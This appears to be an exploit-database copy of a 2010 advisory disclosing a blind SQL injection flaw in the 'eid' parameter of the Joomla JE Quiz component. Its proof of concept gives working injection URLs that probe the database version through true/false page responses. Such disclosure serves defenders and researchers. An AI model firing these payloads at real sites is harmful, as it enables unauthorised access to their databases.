Joomla! Component JE Quiz - 'eid' Blind SQL Injection

Author: B-HUNT3|2
type: webapps
platform: php
port: 
date_added: 2010-01-28 
date_updated: 2017-02-13 
verified: 1 
codes: OSVDB-62039;CVE-2010-0796 
tags: 
aliases:  
screenshot_url:  
application_url: 

[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00

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[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT:

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163

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[~]>> ...[END ADVISORY]...